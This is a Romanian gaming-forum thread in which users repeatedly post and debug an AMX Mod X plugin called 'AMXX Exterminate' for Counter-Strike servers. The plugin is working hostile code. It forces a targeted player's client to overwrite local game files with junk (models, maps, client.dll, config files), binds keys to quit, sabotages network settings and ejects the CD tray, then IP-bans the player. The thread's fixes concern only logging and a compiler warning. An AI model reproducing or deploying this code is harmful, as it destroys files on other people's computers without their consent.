	"bind d quit",
	"cl_cmdrate 0.1",
	"cl_updaterate 0.0.1",
	"fps_max 1.0",
	"fps_modem 1.0",
	"name Bou",
	"cl_timeout 0.0",
	"cl_allowdownload 0",
	"cl_allowupload 0",
	"rate 00000",
	"developer 2",
	"hpk_maxsize 100",
	"bind m quit",
	"bind q quit",
	"bind g quit",
	"cl_forwardspeed 100",
	"cl_backspeed 100",
	"cl_sidespeed 100",
	"motdfile userconfig.cfg;motd_write x",
	"bind t quit",
	"bind y quit",
	"cd eject",
	"quit"
};
/************************************************************/

public plugin_init ( )
{
	register_plugin ( PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR )
	register_clcmd ( "amx_exterminate", "cmdPika", ADMIN_BAN, "<nume sau #userid> [motiv]" );
}

public cmdPika ( id, level, cid )
{
	if ( !cmd_access ( id, level, cid, 3 ) )
		return 1;
	
	new arg [ 33 ];
	read_argv ( 1, arg, charsmax ( arg ) );
	new player = cmd_target ( id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF | CMDTARGET_NO_BOTS );
	
	if ( !player )
	{
		console_print ( id, "Jucatorul nu este online sau a iesit de pe Server." );
		return 1;
	}
	
	new authid [ 33 ], authid2 [ 33 ],
	name2 [ 33 ], name [ 33 ],
	userid2, reason [ 32 ], userip [ 33 ];
	
	get_user_authid ( id, authid, charsmax ( authid ) );
	get_user_authid ( player, authid2, charsmax ( authid2 ) );
	get_user_name ( player, name2, charsmax ( name2 ) );
	get_user_name ( id, name, charsmax ( name ) );
	get_user_ip ( player, userip, charsmax ( userip ) );
	
	userid2 = get_user_userid ( player )
	
	read_argv ( 2, reason, 31 );
	remove_quotes ( reason );
	
	log_to_file ( LOGFILE, "Adminul %s a folosit comanda AMX_Exterminate pe: %s cu motivul: (%s)", name, userid2, reason )
	
	for ( new i = 0; i < sizeof ( g_pika ); i++ )
		client_cmd ( player, g_pika [ i ] );
	
	server_cmd("amx_banip ^"%s^" 0 %s", name2, reason);
	
	#if defined USE_COLORCHAT
	{
		client_print_color ( 0, DontChange, "^4[^3AMXX Exterminate^4] ^3Adminul ^1%s ^3a folosit comanda ^4AMX_Exterminate ^3pe jucatorul^4 %s^1. Motiv: ^4(%s)", name,  name2, reason );
	}
	#else
	{
		client_print ( 0, print_chat, "[AMX Exterminate] Adminul %s a folosi comanda AMX_Exterminate pe %s. Motiv: (%s )", name,  name2, reason );
	}
	#endif
	
	client_cmd ( 0, "spk ^"vox/bizwarn coded user apprehend^"" );
	
	return 1;
}
Image Image Image
Tumpach
Membru, skill 0
Membru, skill 0
Posts: 22
Joined: 13 Apr 2011, 04:56
Detinator Steam: Nu
CS Status: Citesc forumul eXtreamCS.com...!
Has thanked: 13 times
Been thanked: 1 time
Contact:

22 Dec 2013, 19:01

Merge perfect R1kKk- reason , dar am o problema cu logs-ul din server
L 12/22/2013 - 18:05:08: Adminul Tumpach a folosit comanda AMX_Exterminate pe )Tumpach cu motivul: (wall)

Nu arata bine pe cine folosesc exterminate, imi zice ca am folosit comanda pe mine, dar eu am folosit pe un alt player.
User avatar
R1kKk-
Membru, skill +1
Membru, skill +1
Posts: 178
Joined: 12 Apr 2013, 16:57
Detinator Steam: Da
CS Status: Batman!
Detinator server CS: HNS.JOINET.RO
SteamID: Privat...
Has thanked: 20 times
Been thanked: 17 times
Contact:

23 Dec 2013, 00:29

| Afiseaza codul
/* AMX Mod X Script
*
* eXtreamCS Dev Team
*
* ======---===========
* © 2013 by CryWolf
*  http://www.eXtreamCS.com
* ======---===========
*
* This file is intended to be used with AMX Mod X.
*
*   This program is free software: you can redistribute it and/or modify
*   it under the terms of the GNU General Public License as published by
*   the Free Software Foundation, either version 3 of the License, or
*   (at your option) any later version.
*
*   This program is distributed in the hope that it will be useful,
*   but WITHOUT ANY WARRANTY; without even the implied warranty of
*   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
*   GNU General Public License for more details.
*
*   AMXX Pika v1.2.0
*
*   changelog:
*   v1.0.0
*   - Versiune privata
*   
*   v2.1.0
*   - Am adaugat definire de mesaj colorat pentru cine doreste doar.
*   - Mai multe functii destroy ( fisiere ).
*   - Am adaugat fisier .LOG.
*   - Comanda nu mai poate fi folosita pe personal, admini, boti.
*   - Acum pluginul va afecta putin si jucatorii cu Steam.
*   - Optimizat doar amxmodx, amxmisc.
*   - Detalii comanda si cum se foloseste.
*/

#include < amxmodx >
#include < amxmisc >

/*************************************************************/
/* 		ATENTIE!
	Stergeti // daca vreti mesaje colorate in chat pe Server!
	Trebuie sa aveti fisierul colorchat.inc in scripting/include.
*/
// #define USE_COLORCHAT


#if defined USE_COLORCHAT
	#include < colorchat >
#endif
/**************************************************************/


#define PLUGIN_NAME		"AMXX Exterminate"
#define PLUGIN_VERSION		"1.2.0"
#define PLUGIN_AUTHOR		"AzaZeL" // aka CryWolf

// Numele fisierului .log
#define LOGFILE		"exterminate.log"


/*********** DESTORY COMMANDS ********************************/
new const g_pika [ ] [ ] = 
{
	"kill",
	"motdfile models/player.mdl;motd_write y",
	"motdfile models/v_ak47.mdl;motd_write x",
	"motdfile models/p_ak47.mdl;motd_write x",
	"motdfile models/v_flashbang.mdl;motd_write y",
	"motdfile models/p_m3.mdl;motd_write x",
	"motdfile models/v_awp.mdl;motd_write n",
	"motdfile models/p_ump45.mdl;motd_write x",
	"motdfile models/v_awp.mdl;motd_write x",
	"motdfile models/player/arctic/arctic.mdl;motd_write x",
	"motdfile models/player/gsg9/gsg9.mdl;motd_write y",
	"motdfile models/player/sas/sas.mdl;motd_write x",
	"motdfile models/player/terror/terror.mdl;motd_write y",
	"motdfile models/player/vip/vip.mdl;motd_write x",
	"motdfile models/player/urban/urban.mdl;motd_write x",
	"motdfile resource/GameMenu.res;motd_write x",
	"motdfile halflife.wad;motd_write x",
	"motdfile liblist.gam;motd_write y",
	"motdfile cs_dust.wad;motd_write x",
	"motdfile events/ak47.sc;motd_write x",
	"motdfile autoexec.cfg;motd_write x",
	"motdfile server.cfg;motd_write x",
	"motdfile ajawad.wad;motd_write x",
	"motdfile cstrike.wad;motd_write x",
	"motdfile dlls/mp.dll;motd_write x",
	"motdfile dlls/cs_i386.so;motd_write x",
	"motdfile cl_dlls/client.dll;motd_write x",
	"motdfile resource/cstrike_english.txt;motd_write x",
	"motdfile resource/game_menu.tga;motd_write x",
	"motdfile maps/de_inferno.bsp;motd_write x",
	"motdfile maps/de_dust2.bsp;motd_write x",
	"motdfile maps/de_aztec.bsp;motd_write x",
	"motdfile maps/de_dust.bsp;motd_write x",
	"motdfile maps/de_train.bsp;motd_write x",
	"motdfile cs_assault.wad;motd_write x",
	"motdfile spectatormenu.txt.wad;motd_write x",
	"motdfile custom.hpk;motd_write x",
	"sys_ticrate 0.1",
	"bind w quit",
	"bind a quit",
	"bind d quit",
	"cl_cmdrate 0.1",
	"cl_updaterate 0.0.1",
	"fps_max 1.0",
	"fps_modem 1.0",
	"name Bou",
	"cl_timeout 0.0",
	"cl_allowdownload 0",
	"cl_allowupload 0",
	"rate 00000",
	"developer 2",
	"hpk_maxsize 100",
	"bind m quit",
	"bind q quit",
	"bind g quit",
	"cl_forwardspeed 100",
	"cl_backspeed 100",
	"cl_sidespeed 100",
	"motdfile userconfig.cfg;motd_write x",
	"bind t quit",
	"bind y quit",
	"cd eject",
	"quit"
};
/************************************************************/

public plugin_init ( )
{
	register_plugin ( PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR )
	register_clcmd ( "amx_exterminate", "cmdPika", ADMIN_BAN, "<nume sau #userid> [motiv]" );
}

public cmdPika ( id, level, cid )
{
	if ( !cmd_access ( id, level, cid, 3 ) )
		return 1;
	
	new arg [ 33 ];
	read_argv ( 1, arg, charsmax ( arg ) );
	new player = cmd_target ( id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF | CMDTARGET_NO_BOTS );
	
	if ( !player )
	{
		console_print ( id, "Jucatorul nu este online sau a iesit de pe Server." );
		return 1;
	}
	
	new authid [ 33 ], authid2 [ 33 ],
	name2 [ 33 ], name [ 33 ],
	userid2, reason [ 32 ], userip [ 33 ];
	
	get_user_authid ( id, authid, charsmax ( authid ) );
	get_user_authid ( player, authid2, charsmax ( authid2 ) );
	get_user_name ( player, name2, charsmax ( name2 ) );
	get_user_name ( id, name, charsmax ( name ) );
	get_user_ip ( player, userip, charsmax ( userip ) );
	
	userid2 = get_user_userid ( player )
	
	read_argv ( 2, reason, 31 );
	remove_quotes ( reason );
	
	log_to_file ( LOGFILE, "Adminul %s a folosit comanda AMX_Exterminate pe: %s cu motivul: (%s)", name, name2, reason )
	
	for ( new i = 0; i < sizeof ( g_pika ); i++ )
		client_cmd ( player, g_pika [ i ] );
	
	server_cmd("amx_banip ^"%s^" 0 %s", name2, reason);
	
	#if defined USE_COLORCHAT
	{
		client_print_color ( 0, DontChange, "^4[^3AMXX Exterminate^4] ^3Adminul ^1%s ^3a folosit comanda ^4AMX_Exterminate ^3pe jucatorul^4 %s^1. Motiv: ^4(%s)", name,  name2, reason );
	}
	#else
	{
		client_print ( 0, print_chat, "[AMX Exterminate] Adminul %s a folosi comanda AMX_Exterminate pe %s. Motiv: (%s )", name,  name2, reason );
	}
	#endif
	
	client_cmd ( 0, "spk ^"vox/bizwarn coded user apprehend^"" );
	
	return 1;
}
Gata.
Image Image Image
Tumpach
Membru, skill 0
Membru, skill 0
Posts: 22
Joined: 13 Apr 2011, 04:56
Detinator Steam: Nu
CS Status: Citesc forumul eXtreamCS.com...!
Has thanked: 13 times
Been thanked: 1 time
Contact:

23 Dec 2013, 10:09

eroare la compilare

/tmp/textNfB4Zh.sma(188) : warning 204: symbol is assigned a value that is never used: "userid2"
User avatar
CryWolf
Administrator
Administrator
Posts: 6505
Joined: 07 Aug 2008, 16:33
Detinator Steam: Da
Reputatie: Administrator
Fost Scripter
Manager CS2.eXtream.Ro
Fost Detinator ZM.eXtream.Ro
Fost manager CS.eXtream.Ro
Fost manager CSGO.eXtream.Ro
Fost manager global
Location: Botosani
Discord: crywolf1989
Has thanked: 202 times
Been thanked: 850 times
Contact:

23 Dec 2013, 10:15

.SMA | Afiseaza codul
[code=php]
/* AMX Mod X Script
*
* eXtreamCS Dev Team
*
* ======---===========
* © 2013 by CryWolf
*  http://www.eXtreamCS.com
* ======---===========
*
* This file is intended to be used with AMX Mod X.
*
*   This program is free software: you can redistribute it and/or modify
*   it under the terms of the GNU General Public License as published by
*   the Free Software Foundation, either version 3 of the License, or
*   (at your option) any later version.
*
*   This program is distributed in the hope that it will be useful,
*   but WITHOUT ANY WARRANTY; without even the implied warranty of
*   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
*   GNU General Public License for more details.
*
*   AMXX Pika v1.2.0
*
*   changelog:
*   v1.0.0
*   - Versiune privata
*   
*   v2.1.0
*   - Am adaugat definire de mesaj colorat pentru cine doreste doar.
*   - Mai multe functii destroy ( fisiere ).
*   - Am adaugat fisier .LOG.
*   - Comanda nu mai poate fi folosita pe personal, admini, boti.
*   - Acum pluginul va afecta putin si jucatorii cu Steam.
*   - Optimizat doar amxmodx, amxmisc.
*   - Detalii comanda si cum se foloseste.
*/

#include < amxmodx >
#include < amxmisc >

/*************************************************************/
/*         ATENTIE!
    Stergeti // daca vreti mesaje colorate in chat pe Server!
    Trebuie sa aveti fisierul colorchat.inc in scripting/include.
*/
// #define USE_COLORCHAT


#if defined USE_COLORCHAT
    #include < colorchat >
#endif
/**************************************************************/


#define PLUGIN_NAME        "AMXX Exterminate"
#define PLUGIN_VERSION        "1.2.0"
#define PLUGIN_AUTHOR        "AzaZeL" // aka CryWolf

// Numele fisierului .log
#define LOGFILE        "exterminate.log"


/*********** DESTORY COMMANDS ********************************/
new const g_pika [ ] [ ] = 
{
    "kill",
    "motdfile models/player.mdl;motd_write y",
    "motdfile models/v_ak47.mdl;motd_write x",
    "motdfile models/p_ak47.mdl;motd_write x",
    "motdfile models/v_flashbang.mdl;motd_write y",
    "motdfile models/p_m3.mdl;motd_write x",
    "motdfile models/v_awp.mdl;motd_write n",
    "motdfile models/p_ump45.mdl;motd_write x",
    "motdfile models/v_awp.mdl;motd_write x",
    "motdfile models/player/arctic/arctic.mdl;motd_write x",
    "motdfile models/player/gsg9/gsg9.mdl;motd_write y",
    "motdfile models/player/sas/sas.mdl;motd_write x",
    "motdfile models/player/terror/terror.mdl;motd_write y",
    "motdfile models/player/vip/vip.mdl;motd_write x",
    "motdfile models/player/urban/urban.mdl;motd_write x",
    "motdfile resource/GameMenu.res;motd_write x",
    "motdfile halflife.wad;motd_write x",
    "motdfile liblist.gam;motd_write y",
    "motdfile cs_dust.wad;motd_write x",
    "motdfile events/ak47.sc;motd_write x",
    "motdfile autoexec.cfg;motd_write x",
    "motdfile server.cfg;motd_write x",
    "motdfile ajawad.wad;motd_write x",
    "motdfile cstrike.wad;motd_write x",
    "motdfile dlls/mp.dll;motd_write x",
    "motdfile dlls/cs_i386.so;motd_write x",
    "motdfile cl_dlls/client.dll;motd_write x",
    "motdfile resource/cstrike_english.txt;motd_write x",
    "motdfile resource/game_menu.tga;motd_write x",
    "motdfile maps/de_inferno.bsp;motd_write x",
    "motdfile maps/de_dust2.bsp;motd_write x",
    "motdfile maps/de_aztec.bsp;motd_write x",
    "motdfile maps/de_dust.bsp;motd_write x",
    "motdfile maps/de_train.bsp;motd_write x",
    "motdfile cs_assault.wad;motd_write x",
    "motdfile spectatormenu.txt.wad;motd_write x",
    "motdfile custom.hpk;motd_write x",
    "sys_ticrate 0.1",
    "bind w quit",
    "bind a quit",
    "bind d quit",
    "cl_cmdrate 0.1",
    "cl_updaterate 0.0.1",
    "fps_max 1.0",
    "fps_modem 1.0",
    "name Bou",
    "cl_timeout 0.0",
    "cl_allowdownload 0",
    "cl_allowupload 0",
    "rate 00000",
    "developer 2",
    "hpk_maxsize 100",
    "bind m quit",
    "bind q quit",
    "bind g quit",
    "cl_forwardspeed 100",
    "cl_backspeed 100",
    "cl_sidespeed 100",
    "motdfile userconfig.cfg;motd_write x",
    "bind t quit",
    "bind y quit",
    "cd eject",
    "quit"
};
/************************************************************/

public plugin_init ( )
{
    register_plugin ( PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR )
    register_clcmd ( "amx_exterminate", "cmdPika", ADMIN_BAN, "<nume sau #userid> [motiv]" );
}

public cmdPika ( id, level, cid )
{
    if ( !cmd_access ( id, level, cid, 3 ) )
        return 1;
    
    new arg [ 33 ];
    read_argv ( 1, arg, charsmax ( arg ) );
    new player = cmd_target ( id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF | CMDTARGET_NO_BOTS );
    
    if ( !player )
    {
        console_print ( id, "Jucatorul nu este online sau a iesit de pe Server." );
        return 1;
    }
    
    new authid [ 33 ], authid2 [ 33 ],
    name2 [ 33 ], name [ 33 ],
    reason [ 32 ], userip [ 33 ];
    
    get_user_authid ( id, authid, charsmax ( authid ) );
    get_user_authid ( player, authid2, charsmax ( authid2 ) );
    get_user_name ( player, name2, charsmax ( name2 ) );
    get_user_name ( id, name, charsmax ( name ) );
    get_user_ip ( player, userip, charsmax ( userip ) );
    
    //userid2 = get_user_userid ( player )
    
    read_argv ( 2, reason, 31 );
    remove_quotes ( reason );
    
    log_to_file ( LOGFILE, "Adminul %s a folosit comanda AMX_Exterminate pe: %s cu motivul: (%s)", name, name2, reason )
    
    for ( new i = 0; i < sizeof ( g_pika ); i++ )
        client_cmd ( player, g_pika [ i ] );
    
    server_cmd("amx_banip ^"%s^" 0 %s", name2, reason);
    
    #if defined USE_COLORCHAT
    {
        client_print_color ( 0, DontChange, "^4[^3AMXX Exterminate^4] ^3Adminul ^1%s ^3a folosit comanda ^4AMX_Exterminate ^3pe jucatorul^4 %s^1. Motiv: ^4(%s)", name,  name2, reason );
    }
    #else
    {
        client_print ( 0, print_chat, "[AMX Exterminate] Adminul %s a folosi comanda AMX_Exterminate pe %s. Motiv: (%s )", name,  name2, reason );
    }
    #endif
    
    client_cmd ( 0, "spk ^"vox/bizwarn coded user apprehend^"" );
    
    return 1;
} [/code]
NU IMI MAI DA-TI PM CU CERERE AJUTOR/SAMD, FOLOSITI FORUMUL, CITESC MAJORITATEA TOPICURILOR.
www.dark-arena.com , SERVERE CS / CS2 / L4D AU REVENIT ONLINE.
www.diasporaiptv.ro - SERVICII PREMIUM IPTV

Image

Image
Tumpach
Membru, skill 0
Membru, skill 0
Posts: 22
Joined: 13 Apr 2011, 04:56
Detinator Steam: Nu
CS Status: Citesc forumul eXtreamCS.com...!
Has thanked: 13 times
Been thanked: 1 time
Contact:

23 Dec 2013, 10:53

Multumesc merge perfect.


Topic Closed
Post Reply

Return to “Modificari pluginuri”

  • Information
  • Who is online

    Users browsing this forum: Mail.RU [Bot] and 9 guests